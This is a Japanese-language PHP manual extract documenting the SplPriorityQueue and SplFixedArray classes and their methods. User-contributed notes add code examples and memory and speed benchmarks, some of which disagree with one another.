SplPriorityQueue クラスは、優先順位つきキューの主要な機能を提供します。 最大ヒープを使用して実装しています。

注意: 優先度が等しい要素の順番は 未定義 です。 優先度が等しい要素の順序は、挿入された順序と異なるかもしれません。

クラス概要

SplPriorityQueue implements Iterator , Countable {
/* メソッド */
public __construct ( )
public compare ( mixed $priority1 , mixed $priority2 ) : int
public count ( ) : int
public current ( ) : mixed
public extract ( ) : mixed
public getExtractFlags ( ) : int
public insert ( mixed $value , mixed $priority ) : bool
public isCorrupted ( ) : bool
public isEmpty ( ) : bool
public key ( ) : mixed
public next ( ) : void
public recoverFromCorruption ( ) : void
public rewind ( ) : void
public setExtractFlags ( int $flags ) : void
public top ( ) : mixed
public valid ( ) : bool
}

目次

  • SplPriorityQueue::compare — 要素の優先順位を比較し、ヒープ内の適切な位置に置く
  • SplPriorityQueue::__construct — 新しい空のキューを作成する
  • SplPriorityQueue::count — キュー内の要素数を数える
  • SplPriorityQueue::current — イテレータが指す現在のノードを返す
  • SplPriorityQueue::extract — ヒープの先頭からノードを取り出す
  • SplPriorityQueue::getExtractFlags — 展開する時のフラグを取得する
  • SplPriorityQueue::insert — キューに要素を挿入する
  • SplPriorityQueue::isCorrupted — 優先度付きキューが壊れているかを調べる
  • SplPriorityQueue::isEmpty — キューが空かどうかを調べる
  • SplPriorityQueue::key — 現在のノードのインデックスを返す
  • SplPriorityQueue::next — 次のノードに移動する
  • SplPriorityQueue::recoverFromCorruption — 破壊されたキューを復旧し、それ以降の操作をできるようにする
  • SplPriorityQueue::rewind — イテレータを先頭に巻き戻す (何もしない)
  • SplPriorityQueue::setExtractFlags — 取り出しモードを設定する
  • SplPriorityQueue::top — キューの先頭のノードを取り出す
  • SplPriorityQueue::valid — キューにまだノードがあるかどうかを調べる

User Contributed Notes

doublecompile at gmail dot com 24-Jun-2015 08:19
I've used the SplPriorityQueue to determine an HTTP client's preferred MIME types.

<?php
$queue = new \SplPriorityQueue();
foreach (preg_split('#,\s*#', $_SERVER['HTTP_ACCEPT']) as $accept) {
    $split = preg_split('#;\s*q=#', $accept, 2);
    $queue->insert($split[0], isset($split[1]) ? (float)$split[1] : 1.0);
}
foreach ($queue as $mime) {
    echo $mime, PHP_EOL;
}
?>

My browser sends:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

And this script outputs:
text/html
application/xhtml+xml
application/xml
*/*

A better example:
Accept: text/html, application/xml,text/css;q=0.4,text/plain; q=0.9, application/json;q=0.8

And this script outputs:
text/html
application/xml
text/plain
application/json
text/css
Hayley Watson 06-May-2014 02:10
For a heap-based priority queue to be at its most effective, the "priority" should be something that can take on a wide range of values (lengths, timestamps, populations). It optimises the tasks of searching the queue for the appropriate place to insert an item (and inserting it); and removing the first item in the list.

Items may potentially be inserted into the queue wherever two adjacent items have different priorities. The heap structure is an efficient way of indexing such insertion points when there are many of them distributed throughout the list.

If you have a sharply-limited enumeration of possible priority values, then there are very few insertion possible insertion points - one for each priority value. In that situation, one can make the insertion points explicit (and thus eliminate the need to maintain a heap indexing them) by implementing your priority queue as a list of simple queues from which you draw successive items from the highest-priority nonempty queue.
lsroudi at gmail dot com 05-Feb-2014 06:38
<?php

/**
 * Description of PriorityQueue
 *
 * (c) lsroudi http://lsroudi.com/ <lsroudi@gmail.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
interface PriorityLoggerInterface {

    public function insert($value, $priority);
}

class PriorityLogger extends SplPriorityQueue implements PriorityLoggerInterface {

}

class Logger {

    const ERROR = 3;
    const NOTICE = 1;
    const WARNING = 2;

    private $priorityLogger;

    public function __construct(PriorityLoggerInterface $priorityLogger)
    {
        $this->priorityLogger = $priorityLogger;
    }

    public function addMessage($value, $priority)
    {
        $this->priorityLogger->insert($value, $priority);
    }

    public function getPriorityLogger()
    {
        return $this->priorityLogger;
    }

}

$priorityLogger = new PriorityLogger();

$logger = new Logger($priorityLogger);
$logger->addMessage('Message with notice type', Logger::NOTICE);
$logger->addMessage('Message with warning type', Logger::WARNING);
$logger->addMessage('Message with error type', Logger::ERROR);

$priorityLoggerQueue = $logger->getPriorityLogger();

foreach ($priorityLoggerQueue as $queue){
    print $queue . PHP_EOL;
}

//Resultat
//Message with error type
//Message with warning type
//Message with notice type
?>
rajatn at rediff dot co dot in 30-Jul-2010 04:29
quick implementation of SPL Priority Queue:

<?php

class PQtest extends SplPriorityQueue
{
    public function compare($priority1, $priority2)
    {
        if ($priority1 === $priority2) return 0;
        return $priority1 < $priority2 ? -1 : 1;
    }
}

$objPQ = new PQtest();

$objPQ->insert('A',3);
$objPQ->insert('B',6);
$objPQ->insert('C',1);
$objPQ->insert('D',2);

echo "COUNT->".$objPQ->count()."<BR>";

//mode of extraction
$objPQ->setExtractFlags(PQtest::EXTR_BOTH);

//Go to TOP
$objPQ->top();

while($objPQ->valid()){
    print_r($objPQ->current());
    echo "<BR>";
    $objPQ->next();
}

?>

output:

COUNT->4
Array ( [data] => B [priority] => 6 )
Array ( [data] => A [priority] => 3 )
Array ( [data] => D [priority] => 2 )
Array ( [data] => C [priority] => 1 )


要素の優先順位を比較し、ヒープ内の適切な位置に置く

  • ≪ SplPriorityQueue
  • SplPriorityQueue::__construct ≫
  • PHP Manual
  • SplPriorityQueue
  • 要素の優先順位を比較し、ヒープ内の適切な位置に置く

SplPriorityQueue::compare

(PHP 5 >= 5.3.0, PHP 7)

SplPriorityQueue::compare — 要素の優先順位を比較し、ヒープ内の適切な位置に置く

説明

public SplPriorityQueue::compare ( mixed $priority1 , mixed $priority2 ) : int

priority1 と priority2 を比較します。

パラメータ

priority1

比較したい最初のノードの優先順位。

priority2

比較したい 2 番目のノードの優先順位。

返り値

比較結果を返します。priority1 が priority2 より大きい場合は正の整数値、等しい場合は 0、 小さい場合は負の整数値となります。

注意:

同一の優先順位の要素が複数存在する場合は、 キューから取り出す際の順序が不定となります。

User Contributed Notes

Anonymous 10-Oct-2009 04:51
At this time, the documentation sais "Note: Multiple elements with the same priority will get dequeued in no particular order."

If you need elements of equal priority to maintain insertion order, you can use something like:

<?php

class StablePriorityQueue extends SplPriorityQueue {
    protected $serial = PHP_INT_MAX;
    public function insert($value, $priority) {
        parent::insert($value, array($priority, $this->serial--));
    }
}

?>


新しい空のキューを作成する

  • ≪ SplPriorityQueue::compare
  • SplPriorityQueue::count ≫
  • PHP Manual
  • SplPriorityQueue
  • 新しい空のキューを作成する

SplPriorityQueue::__construct

(PHP 5 >= 5.3.0, PHP 7)

SplPriorityQueue::__construct — 新しい空のキューを作成する

説明

public SplPriorityQueue::__construct ( )

これは、新しい空のキューを作成します。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

Jennifer 22-Mar-2011 12:19
I was trying to extend SplPriorityQueue like this:

<?php
class AdjustablePriorityQueue extends SplPriorityQueue {
    protected $direction='desc';//queue is ordered highest to lowest priority, direction is changeable ONLY on __construct()

    function __construct($direction='desc'){
        parent::__construct(); //Fatal error:  Cannot call constructor
        $this->direction=($direction=='asc') ? 'asc': 'desc';
    }

    function compare($priority1,$priority2){
        if($this->direction=='asc') return parent::compare($priority2, $priority1);
        return parent::compare($priority1,$priority2);
    }
}
?>

calling `parent::__construct()` gives a fatal error " Cannot call constructor".  If I leave out that call, everything works fine.  This suggests that SplPriorityQueue does not actually have a `__construct()` method.


キュー内の要素数を数える

  • ≪ SplPriorityQueue::__construct
  • SplPriorityQueue::current ≫
  • PHP Manual
  • SplPriorityQueue
  • キュー内の要素数を数える

SplPriorityQueue::count

(PHP 5 >= 5.3.0, PHP 7)

SplPriorityQueue::count — キュー内の要素数を数える

説明

public SplPriorityQueue::count ( ) : int

パラメータ

この関数にはパラメータはありません。

返り値

キュー内の要素数を返します。

User Contributed Notes

xedin dot unknown at gmail dot com 22-Aug-2018 02:08
After iteration, the queue will be empty. Therefore, `count()` will return 0. You can circumvent this by iterating over a clone, instead of the actual queue.

https://stackoverflow.com/questions/27464012/splpriorityqueuenext-is-removing-the-item


イテレータが指す現在のノードを返す

  • ≪ SplPriorityQueue::count
  • SplPriorityQueue::extract ≫
  • PHP Manual
  • SplPriorityQueue
  • イテレータが指す現在のノードを返す

SplPriorityQueue::current

(PHP 5 >= 5.3.0, PHP 7)

SplPriorityQueue::current — イテレータが指す現在のノードを返す

説明

public SplPriorityQueue::current ( ) : mixed

現在のノードを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

現在のノードの値あるいは優先順位 (あるいはその両方) を、抽出フラグの設定に応じて返します。

User Contributed Notes

There are no user contributed notes for this page.


ヒープの先頭からノードを取り出す

  • ≪ SplPriorityQueue::current
  • SplPriorityQueue::getExtractFlags ≫
  • PHP Manual
  • SplPriorityQueue
  • ヒープの先頭からノードを取り出す

SplPriorityQueue::extract

(PHP 5 >= 5.3.0, PHP 7)

SplPriorityQueue::extract — ヒープの先頭からノードを取り出す

説明

public SplPriorityQueue::extract ( ) : mixed

パラメータ

この関数にはパラメータはありません。

返り値

取り出したノードの値あるいは優先順位 (あるいはその両方) を、抽出フラグの設定に応じて返します。

User Contributed Notes

There are no user contributed notes for this page.


展開する時のフラグを取得する

  • ≪ SplPriorityQueue::extract
  • SplPriorityQueue::insert ≫
  • PHP Manual
  • SplPriorityQueue
  • 展開する時のフラグを取得する

SplPriorityQueue::getExtractFlags

(PHP 7)

SplPriorityQueue::getExtractFlags — 展開する時のフラグを取得する

説明

public SplPriorityQueue::getExtractFlags ( ) : int

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


キューに要素を挿入する

  • ≪ SplPriorityQueue::getExtractFlags
  • SplPriorityQueue::isCorrupted ≫
  • PHP Manual
  • SplPriorityQueue
  • キューに要素を挿入する

SplPriorityQueue::insert

(PHP 5 >= 5.3.0, PHP 7)

SplPriorityQueue::insert — キューに要素を挿入する

説明

public SplPriorityQueue::insert ( mixed $value , mixed $priority ) : bool

value を優先順位 priority でキューに挿入します。

パラメータ

value

挿入する値。

priority

関連づける優先順位。

返り値

true を返します。

User Contributed Notes

There are no user contributed notes for this page.


優先度付きキューが壊れているかを調べる

  • ≪ SplPriorityQueue::insert
  • SplPriorityQueue::isEmpty ≫
  • PHP Manual
  • SplPriorityQueue
  • 優先度付きキューが壊れているかを調べる

SplPriorityQueue::isCorrupted

(PHP 5 >= 5.3.0, PHP 7)

SplPriorityQueue::isCorrupted — 優先度付きキューが壊れているかを調べる

説明

public SplPriorityQueue::isCorrupted ( ) : bool

パラメータ

この関数にはパラメータはありません。

返り値

優先度付きキューが壊れていたら true を、そうでなければ false を返します。

User Contributed Notes

There are no user contributed notes for this page.


キューが空かどうかを調べる

  • ≪ SplPriorityQueue::isCorrupted
  • SplPriorityQueue::key ≫
  • PHP Manual
  • SplPriorityQueue
  • キューが空かどうかを調べる

SplPriorityQueue::isEmpty

(PHP 5 >= 5.3.0, PHP 7)

SplPriorityQueue::isEmpty — キューが空かどうかを調べる

説明

public SplPriorityQueue::isEmpty ( ) : bool

パラメータ

この関数にはパラメータはありません。

返り値

キューが空かどうかを返します。

User Contributed Notes

There are no user contributed notes for this page.


現在のノードのインデックスを返す

  • ≪ SplPriorityQueue::isEmpty
  • SplPriorityQueue::next ≫
  • PHP Manual
  • SplPriorityQueue
  • 現在のノードのインデックスを返す

SplPriorityQueue::key

(PHP 5 >= 5.3.0, PHP 7)

SplPriorityQueue::key — 現在のノードのインデックスを返す

説明

public SplPriorityQueue::key ( ) : mixed

この関数は、現在のノードのインデックスを返します。

パラメータ

この関数にはパラメータはありません。

返り値

現在のノードのインデックスを返します。

User Contributed Notes

There are no user contributed notes for this page.


次のノードに移動する

  • ≪ SplPriorityQueue::key
  • SplPriorityQueue::recoverFromCorruption ≫
  • PHP Manual
  • SplPriorityQueue
  • 次のノードに移動する

SplPriorityQueue::next

(PHP 5 >= 5.3.0, PHP 7)

SplPriorityQueue::next — 次のノードに移動する

説明

public SplPriorityQueue::next ( ) : void

キューから先頭のノードを取り出します。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

ivail89 at mail dot ru 22-Jan-2021 04:20
Method 'next' deletes node from top. See example:
 <?php
$queue = new SplPriorityQueue();

$queue->insert('Q', 5);
$queue->insert('W', 1);
$queue->insert('E', 4);
$queue->insert('R', 2);
$queue->insert('Y', 3);

$queue->next();
$queue->next();
$queue->next();

print_r($queue);
?>

Will be output:

SplPriorityQueue Object
(
    [flags:SplPriorityQueue:private] => 1
    [isCorrupted:SplPriorityQueue:private] =>
    [heap:SplPriorityQueue:private] => Array
        (
            [0] => Array
                (
                    [data] => R
                    [priority] => 2
                )

            [1] => Array
                (
                    [data] => W
                    [priority] => 1
                )

        )

)


破壊されたキューを復旧し、それ以降の操作をできるようにする

  • ≪ SplPriorityQueue::next
  • SplPriorityQueue::rewind ≫
  • PHP Manual
  • SplPriorityQueue
  • 破壊されたキューを復旧し、それ以降の操作をできるようにする

SplPriorityQueue::recoverFromCorruption

(PHP 5 >= 5.3.0, PHP 7)

SplPriorityQueue::recoverFromCorruption — 破壊されたキューを復旧し、それ以降の操作をできるようにする

説明

public SplPriorityQueue::recoverFromCorruption ( ) : void

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


イテレータを先頭に巻き戻す (何もしない)

  • ≪ SplPriorityQueue::recoverFromCorruption
  • SplPriorityQueue::setExtractFlags ≫
  • PHP Manual
  • SplPriorityQueue
  • イテレータを先頭に巻き戻す (何もしない)

SplPriorityQueue::rewind

(PHP 5 >= 5.3.0, PHP 7)

SplPriorityQueue::rewind — イテレータを先頭に巻き戻す (何もしない)

説明

public SplPriorityQueue::rewind ( ) : void

これは、イテレータを先頭に巻き戻します。ヒープの場合は何もしません。 というのもイテレータは仮想的なものであり、 実際はヒープの先頭から動くことがないからです。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


取り出しモードを設定する

  • ≪ SplPriorityQueue::rewind
  • SplPriorityQueue::top ≫
  • PHP Manual
  • SplPriorityQueue
  • 取り出しモードを設定する

SplPriorityQueue::setExtractFlags

(PHP 5 >= 5.3.0, PHP 7)

SplPriorityQueue::setExtractFlags — 取り出しモードを設定する

説明

public SplPriorityQueue::setExtractFlags ( int $flags ) : void

パラメータ

flags

何を取り出すのかを SplPriorityQueue::current()、
SplPriorityQueue::top() および
SplPriorityQueue::extract() で指定します。

  • SplPriorityQueue::EXTR_DATA (0x00000001): データを取り出す
  • SplPriorityQueue::EXTR_PRIORITY (0x00000002): 優先順位を取り出す
  • SplPriorityQueue::EXTR_BOTH (0x00000003): 両方を含む配列を取り出す

デフォルトのモードは SplPriorityQueue::EXTR_DATA です。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


キューの先頭のノードを取り出す

  • ≪ SplPriorityQueue::setExtractFlags
  • SplPriorityQueue::valid ≫
  • PHP Manual
  • SplPriorityQueue
  • キューの先頭のノードを取り出す

SplPriorityQueue::top

(PHP 5 >= 5.3.0, PHP 7)

SplPriorityQueue::top — キューの先頭のノードを取り出す

説明

public SplPriorityQueue::top ( ) : mixed

パラメータ

この関数にはパラメータはありません。

返り値

先頭のノードの値あるいは優先順位 (あるいはその両方) を、抽出フラグの設定に応じて返します。

User Contributed Notes

There are no user contributed notes for this page.


キューにまだノードがあるかどうかを調べる

  • ≪ SplPriorityQueue::top
  • SplFixedArray ≫
  • PHP Manual
  • SplPriorityQueue
  • キューにまだノードがあるかどうかを調べる

SplPriorityQueue::valid

(PHP 5 >= 5.3.0, PHP 7)

SplPriorityQueue::valid — キューにまだノードがあるかどうかを調べる

説明

public SplPriorityQueue::valid ( ) : bool

キューにまだノードがあるかどうかを調べます。

パラメータ

この関数にはパラメータはありません。

返り値

キューにまだノードが含まれる場合に true、 そうでない場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


SplFixedArray クラス

(PHP 5 >= 5.3.0, PHP 7)

はじめに

SplFixedArray クラスは配列の主要な機能を提供します。 SplFixedArray と通常の PHP の配列との主な違いは、 SplFixedArray は手動でリサイズしなければならないことと、 整数値で指定した範囲内の添字しか使用できないところです。 これにより、標準の array よりメモリ消費が少なくて済みます。

クラス概要

SplFixedArray implements Iterator , ArrayAccess , Countable {
/* メソッド */
public __construct ( int $size = 0 )
public count ( ) : int
public current ( ) : mixed
public static fromArray ( array $array , bool $save_indexes = true ) : SplFixedArray
public getSize ( ) : int
public key ( ) : int
public next ( ) : void
public offsetExists ( int $index ) : bool
public offsetGet ( int $index ) : mixed
public offsetSet ( int $index , mixed $newval ) : void
public offsetUnset ( int $index ) : void
public rewind ( ) : void
public setSize ( int $size ) : bool
public toArray ( ) : array
public valid ( ) : bool
public __wakeup ( ) : void
}

例

例1 SplFixedArray の使用例

<?php
// 固定長の配列を初期化します
$array = new SplFixedArray(5);

$array[1] = 2;
$array[4] = "foo";

var_dump($array[0]); // NULL
var_dump($array[1]); // int(2)

var_dump($array["4"]); // string(3) "foo"

// 配列のサイズを 10 に拡大します
$array->setSize(10);

$array[9] = "asdf";

// 配列のサイズを 2 に縮めます
$array->setSize(2);

// 以下は RuntimeException: Index invalid or out of range となります
try {
    var_dump($array["non-numeric"]);
} catch(RuntimeException $re) {
    echo "RuntimeException: ".$re->getMessage()."\n";
}

try {
    var_dump($array[-1]);
} catch(RuntimeException $re) {
    echo "RuntimeException: ".$re->getMessage()."\n";
}

try {
    var_dump($array[5]);
} catch(RuntimeException $re) {
    echo "RuntimeException: ".$re->getMessage()."\n";
}
?>

上の例の出力は以下となります。

NULL
int(2)
string(3) "foo"
RuntimeException: Index invalid or out of range
RuntimeException: Index invalid or out of range
RuntimeException: Index invalid or out of range

目次

  • SplFixedArray::__construct — 新しい固定長配列を作成する
  • SplFixedArray::count — 配列のサイズを返す
  • SplFixedArray::current — 現在の配列の要素を返す
  • SplFixedArray::fromArray — PHP の配列を SplFixedArray インスタンスにインポートする
  • SplFixedArray::getSize — 配列のサイズを取得する
  • SplFixedArray::key — 現在の配列の添字を返す
  • SplFixedArray::next — 次のエントリに進む
  • SplFixedArray::offsetExists — 指定した添字が存在するかどうかを返す
  • SplFixedArray::offsetGet — 指定した添字の値を返す
  • SplFixedArray::offsetSet — 指定した添字の新しい値を設定する
  • SplFixedArray::offsetUnset — 指定した添字の値を消去する
  • SplFixedArray::rewind — イテレータを先頭に巻き戻す
  • SplFixedArray::setSize — 配列のサイズを変更する
  • SplFixedArray::toArray — 固定長配列から PHP の配列を返す
  • SplFixedArray::valid — 配列にまだ要素があるかどうかを調べる
  • SplFixedArray::__wakeup — アンシリアライズ後に配列を再初期化する

User Contributed Notes

herhor67 at interia dot pl 31-Dec-2019 06:23
Memory usage for arrays of 1132766 ints (data derived from some 1kx1k img):
Regular:  76453160B (67.5B/int)
SplFixed: 18898744B (16.7B/int)

In my application, SFA uses 75% less RAM, which is a life-saver.

Speed comparison:
Regular: 449ms
SplFixed (resized before every element): 791ms
SplFixed (fully preallocated): 392ms
SplFixed (preall-d to 1M and then resized): 547ms

Pros and cons:
+ much more efficient RAM-wise
+ a bit faster if max size is known
~ a bit slower if max size is only approximated
- much slower if max size is not known
- cannot be used with most array functions

To sum up:
SplFixedArray is a very good choice for storing giant amount of data, though only as long as you at least roughly know the size and can work without array functions.
Anonymous 08-Jan-2018 01:04
getSize() and count() return the same value
php at stij dot nospam dot npeete dot nospam dot rs dot nl 28-Dec-2017 06:55
Note that (as of PHP 7.1) SplFixedArray uses 16 bytes (!) per array item. This can be checked easily via:

<?php
ini_set('memory_limit', '4M');
$array = new SplFixedArray(1000000);
//PHP Fatal error:  Allowed memory size of 4194304 bytes exhausted (tried to allocate 16000000 bytes)
?>

So if you're considering SplFixedArray because you need to use large arrays with very large numbers of items, make sure you have enough memory to support them.
Anonymous 03-Nov-2017 12:04
PHP Arrays are very fast, and faster overall, especially in PHP7. You almost never need this. There are some cases where using this is better than using arrays but beware that they aren't that obvious.
artaxerxes 13-Nov-2012 04:41
As the documentation says, SplFixedArray is meant to be *faster* than array. Do not blindly believe other people's benchmarks, and beextra careful with the user comments on php.net. For instance, nairbv's benchmark code is completely wrong. Among other errors, it intends to increase the size of the arrays, but always initialize a 20 elements SplFixedArray.

On a PHP 5.4 64 bits linux server, I found SplFixedArray to be always faster than array().
* small data (1,000):
    * write: SplFixedArray is 15 % faster
    * read:  SplFixedArray is  5 % faster
* larger data (512,000):
    * write: SplFixedArray is 33 % faster
    * read:  SplFixedArray is 10 % faster
alex dot andrienko at gmail dot com 15-Nov-2010 02:13
Memory footprint of splFixedArray is about 37% of a regular "array" of the same size.
I was hoping for more, but that's also significant, and that's where you should expect to see difference, not in "performance".
chrisstocktonaz at gmail dot com 14-Jul-2009 11:07
Note, that this is considerably faster and should be used when the size of the array is known. Here are some very basic bench marks:

<?php
for($size = 1000; $size < 50000000; $size *= 2) {
    echo PHP_EOL . "Testing size: $size" . PHP_EOL;
    for($s = microtime(true), $container = Array(), $i = 0; $i < $size; $i++) $container[$i] = NULL;
    echo "Array(): " . (microtime(true) - $s) . PHP_EOL;

    for($s = microtime(true), $container = new SplFixedArray($size), $i = 0; $i < $size; $i++) $container[$i] = NULL;
    echo "SplArray(): " . (microtime(true) - $s) . PHP_EOL;
}
?>

OUTPUT
Testing size: 1000
Array(): 0.00046396255493164
SplArray(): 0.00023293495178223

Testing size: 2000
Array(): 0.00057101249694824
SplArray(): 0.0003058910369873

Testing size: 4000
Array(): 0.0015869140625
SplArray(): 0.00086307525634766

Testing size: 8000
Array(): 0.0024251937866211
SplArray(): 0.00211501121521

Testing size: 16000
Array(): 0.0057680606842041
SplArray(): 0.0041120052337646

Testing size: 32000
Array(): 0.011334896087646
SplArray(): 0.007631778717041

Testing size: 64000
Array(): 0.021990060806274
SplArray(): 0.013560056686401

Testing size: 128000
Array(): 0.053267002105713
SplArray(): 0.030976057052612

Testing size: 256000
Array(): 0.10280108451843
SplArray(): 0.056283950805664

Testing size: 512000
Array(): 0.20657992362976
SplArray(): 0.11510300636292

Testing size: 1024000
Array(): 0.4138810634613
SplArray(): 0.21826505661011

Testing size: 2048000
Array(): 0.85640096664429
SplArray(): 0.46247816085815

Testing size: 4096000
Array(): 1.7242450714111
SplArray(): 0.95304894447327

Testing size: 8192000
Array(): 3.448086977005
SplArray(): 1.96746301651


新しい固定長配列を作成する

  • ≪ SplFixedArray
  • SplFixedArray::count ≫
  • PHP Manual
  • SplFixedArray
  • 新しい固定長配列を作成する

SplFixedArray::__construct

(PHP 5 >= 5.3.0, PHP 7)

SplFixedArray::__construct — 新しい固定長配列を作成する

説明

public SplFixedArray::__construct ( int $size = 0 )

新しい固定長配列を作成します。要素の数は size と等しく、値はすべて null となります。

パラメータ

size

固定長配列のサイズ。 0 から PHP_INT_MAX までの数を指定します。

返り値

値を返しません。

エラー / 例外

size が負の数である場合に InvalidArgumentException をスローします。

size を数値として解釈できない場合に E_WARNING が発生します。

例

例1 SplFixedArray::__construct() の例

<?php
$array = new SplFixedArray(5);

$array[1] = 2;
$array[4] = "foo";

foreach($array as $v) {
  var_dump($v);
}
?>

上の例の出力は以下となります。

NULL
int(2)
NULL
NULL
string(3) "foo"

User Contributed Notes

There are no user contributed notes for this page.


配列のサイズを返す

  • ≪ SplFixedArray::__construct
  • SplFixedArray::current ≫
  • PHP Manual
  • SplFixedArray
  • 配列のサイズを返す

SplFixedArray::count

(PHP 5 >= 5.3.0, PHP 7)

SplFixedArray::count — 配列のサイズを返す

説明

public SplFixedArray::count ( ) : int

配列のサイズを返します。

パラメータ

この関数にはパラメータはありません。

返り値

配列のサイズを返します。

例

例1 SplFixedArray::count() の例

<?php
$array = new SplFixedArray(5);
echo $array->count() . "\n";
echo count($array) . "\n";
?>

上の例の出力は以下となります。

5
5

注意

注意:

このメソッドは、機能的には SplFixedArray::getSize() と同じです。

注意:

要素の数は常に設定されているサイズと等しくなります。すべての要素の値が最初に null で初期化されるからです。

参考

  • SplFixedArray::getSize() - 配列のサイズを取得する

User Contributed Notes

There are no user contributed notes for this page.


現在の配列の要素を返す

  • ≪ SplFixedArray::count
  • SplFixedArray::fromArray ≫
  • PHP Manual
  • SplFixedArray
  • 現在の配列の要素を返す

SplFixedArray::current

(PHP 5 >= 5.3.0, PHP 7)

SplFixedArray::current — 現在の配列の要素を返す

説明

public SplFixedArray::current ( ) : mixed

現在の配列の要素を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

現在の要素の値を返します。

エラー / 例外

内部の配列ポインタが無効なインデックスを指していたり、範囲外にあったりする場合に RuntimeException をスローします。

User Contributed Notes

kishor10d at gmail dot com 12-Jun-2019 08:49
<?php

/**
 * current() : It returns current element in the SplFixedArray.
 */

$arr = new SplFixedArray(5);

$arr[1] = 2;
$arr[2] = "foo";

var_dump($arr->current());
echo "<br>";

$arr->next();
var_dump($arr->current());
echo "<br>";

$arr->next();
var_dump($arr->current());
echo "<br>";

?>

The output of this will be:

NULL
int(2)
string(3) "foo"


PHP の配列を SplFixedArray インスタンスにインポートする

  • ≪ SplFixedArray::current
  • SplFixedArray::getSize ≫
  • PHP Manual
  • SplFixedArray
  • PHP の配列を SplFixedArray インスタンスにインポートする

SplFixedArray::fromArray

(PHP 5 >= 5.3.0, PHP 7)

SplFixedArray::fromArray — PHP の配列を SplFixedArray インスタンスにインポートする

説明

public static SplFixedArray::fromArray ( array $array , bool $save_indexes = true ) : SplFixedArray

PHP の配列 array を、新しい SplFixedArray インスタンスにインポートします。

パラメータ

array

インポートする配列。

save_indexes

元の配列で使っている数値添字を保存しようと試みる。

返り値

配列の中身を含む SplFixedArray のインスタンスを返します。

例

例1 SplFixedArray::fromArray() の例

<?php
$fa = SplFixedArray::fromArray(array(1 => 1, 0 => 2, 3 => 3));

var_dump($fa);

$fa = SplFixedArray::fromArray(array(1 => 1, 0 => 2, 3 => 3), false);

var_dump($fa);
?>

上の例の出力は以下となります。

object(SplFixedArray)#1 (4) {
  [0]=>
  int(2)
  [1]=>
  int(1)
  [2]=>
  NULL
  [3]=>
  int(3)
}
object(SplFixedArray)#2 (3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

MuLoT 10-Dec-2010 09:15
Memory footprint tests :

<?php
echo memory_get_usage()."\n"; // display 627760
$array = array_fill( 0, 2048, 'a' );
echo memory_get_usage()."\n"; // 824744, so 196984 for $array

unset( $array );

echo memory_get_usage()."\n"; // 627792
$spl=SplFixedArray::fromArray( array_fill( 0, 2048, 'a' ) );
echo memory_get_usage()."\n"; //644944, so just 17151 for $spl !!!
?>


配列のサイズを取得する

  • ≪ SplFixedArray::fromArray
  • SplFixedArray::key ≫
  • PHP Manual
  • SplFixedArray
  • 配列のサイズを取得する

SplFixedArray::getSize

(PHP 5 >= 5.3.0, PHP 7)

SplFixedArray::getSize — 配列のサイズを取得する

説明

public SplFixedArray::getSize ( ) : int

配列のサイズを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

配列のサイズを int で返します。

例

例1 SplFixedArray::getSize() の例

<?php
$array = new SplFixedArray(5);
echo $array->getSize()."\n";
$array->setSize(10);
echo $array->getSize()."\n";
?>

上の例の出力は以下となります。

5
10

注意

注意:

このメソッドは、機能的には SplFixedArray::count() と同じです。

参考

  • SplFixedArray::count() - 配列のサイズを返す

User Contributed Notes

c dot 1 at smithies dot org 21-Nov-2010 05:38
This function is currently a synonym for count().


現在の配列の添字を返す

  • ≪ SplFixedArray::getSize
  • SplFixedArray::next ≫
  • PHP Manual
  • SplFixedArray
  • 現在の配列の添字を返す

SplFixedArray::key

(PHP 5 >= 5.3.0, PHP 7)

SplFixedArray::key — 現在の配列の添字を返す

説明

public SplFixedArray::key ( ) : int

現在の配列の添字を返します。

パラメータ

この関数にはパラメータはありません。

返り値

現在の配列の添字を返します。

User Contributed Notes

There are no user contributed notes for this page.


次のエントリに進む

  • ≪ SplFixedArray::key
  • SplFixedArray::offsetExists ≫
  • PHP Manual
  • SplFixedArray
  • 次のエントリに進む

SplFixedArray::next

(PHP 5 >= 5.3.0, PHP 7)

SplFixedArray::next — 次のエントリに進む

説明

public SplFixedArray::next ( ) : void

イテレータを、次の配列の要素に進めます。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

kishor10d at gmail dot com 27-Jun-2019 12:27
<?php

/**
* Example : rewind();
*/

$arr = new SplFixedArray(5);

$a = $arr->key(); //Zero'th index
var_dump($a);
echo "<br>";

$arr->next(); // Shift to first index
$a = $arr->key();
var_dump($a);
echo "<br>";

$arr->next(); // Shift to second index
$a = $arr->key();
var_dump($a);
echo "<br>";

$arr->next();  // Shift to third index
$a = $arr->key();
var_dump($a);
echo "<br>";
?>

The above example will output:

int(0)
int(1)
int(2)
int(3)


指定した添字が存在するかどうかを返す

  • ≪ SplFixedArray::next
  • SplFixedArray::offsetGet ≫
  • PHP Manual
  • SplFixedArray
  • 指定した添字が存在するかどうかを返す

SplFixedArray::offsetExists

(PHP 5 >= 5.3.0, PHP 7)

SplFixedArray::offsetExists — 指定した添字が存在するかどうかを返す

説明

public SplFixedArray::offsetExists ( int $index ) : bool

index で指定した添字が存在するかどうかを返します。

パラメータ

index

調べたい添字。

返り値

指定した添字が存在する場合に true、それ以外の場合に false を返します。

User Contributed Notes

depoemarc at swap dot fn dot ln dot googlemail dot com 25-Jun-2015 02:47
It should be noted that offsetExists behaves like "offsetIsSet" rather than "offsetIsValid":

<?php
$arr = new SplFixedArray(3);
var_dump($arr->offsetExists(1)); // false

$arr[1] = 42; // $arr->offsetSet(1, 42);
var_dump($arr->offsetExists(1)); // true

